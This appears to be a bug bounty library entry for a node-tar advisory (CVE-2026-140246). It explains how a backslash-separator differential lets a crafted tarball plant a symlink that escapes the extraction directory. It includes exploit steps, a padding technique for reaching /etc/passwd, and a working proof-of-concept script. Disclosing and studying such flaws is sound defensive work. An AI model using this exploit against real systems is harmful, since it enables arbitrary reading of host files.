# node-tar: SymbolicLink extraction escapes the extraction directory on non-Windows hosts via a backslash separator differential

node-tar's symlink containment check treats backslash as a separator while Linux creation does not, letting a crafted tar plant a symlink escaping the extraction directory for arbitrary file read.

- Payout: Research
- Severity: high
- Program: node-tar
- Found by: Auto-Rooter
- Disclosed: 2026-12-02
- CVE: CVE-2026-140246
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-hqgx-p3r3-2cfg
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-hqgx-p3r3-2cfg
- Tags: area:oss domain:oss impact:data-leak kind:research platform:ghsa sev:high tech:nodejs technique:parser-differential technique:source-review vuln:path-traversal

**Target:** npm tar library (Unpack symlink extraction)
**Root cause:** The '..' containment check normalizes backslashes to '/' before counting path segments, but on non-Windows hosts normalizeWindowsPath is identity and fs.symlink uses the raw linkpath where '\' is a literal filename character, so check and kernel disagree on segment count.
**Steps:**
1. Create extraction dir `cwd` with a sentinel file in its parent.
2. Pack a directory entry named `A\B` (one on-disk segment).
3. Pack a symlink entry `escape` with linkname `A\B/../../SENTINEL.txt`.
4. Extract with default `tar.x({file, cwd})`.
5. `cwd/escape` resolves to the parent's SENTINEL.txt and reads out-of-tree content.
6. For arbitrary read, use ~50 backslashes padding plus matching `..` and `/etc/passwd` as linkname.
**How found:** Noticed the containment check applies `replaceAll(/\\/g,'/')` before segment counting while creation uses the raw linkpath on non-Windows where backslash is literal; hypothesized a segment-count differential and tested with backslash-padded '..' runs.
**Exploitation:** A malicious tarball (npm package or user-uploaded archive) extracted with default options plants a symlink resolving to an arbitrary host path; any consumer reading/copying/serving files from the extraction dir is induced to read arbitrary host files. Arbitrary write not achieved due to mkdir symlink rejection and hardlink '..' rejection.
**Insight:** When a security check and the sink use different path models (lexical posix vs. raw OS), look for characters that are separators in one model but literal in the other — backslash on Linux, or drive-relative prefixes on Windows — and pad segment counts to desync them.

## Proof of concept (copied exactly from the original report)

**poc.js crafting backslash symlink escape**

```
const tar = require('tar'), { pack } = require('tar-stream');
const fs = require('fs'), path = require('path'), os = require('os');
const base = fs.mkdtempSync(path.join(os.tmpdir(), 'poc-'));
const cwd = path.join(base, 'extract'); fs.mkdirSync(cwd);
fs.writeFileSync(path.join(base, 'SENTINEL.txt'), 'OUT-OF-TREE'); // in the PARENT of cwd
const p = pack();
p.entry({ name: 'A\\B', type: 'directory', mode: 0o755 });        // one on-disk segment "A\B"
p.entry({ name: 'escape', type: 'symlink', linkname: 'A\\B/../../SENTINEL.txt', mode: 0o777 });
p.finalize();
const chunks = []; p.on('data', c => chunks.push(c)); p.on('end', async () => {
  const tf = path.join(base, 'e.tar'); fs.writeFileSync(tf, Buffer.concat(chunks));
  await tar.x({ file: tf, cwd });                                  // DEFAULT options
  console.log('realpath:', fs.realpathSync(path.join(cwd, 'escape')));
  console.log('read    :', fs.readFileSync(path.join(cwd, 'escape'), 'utf8'));
```

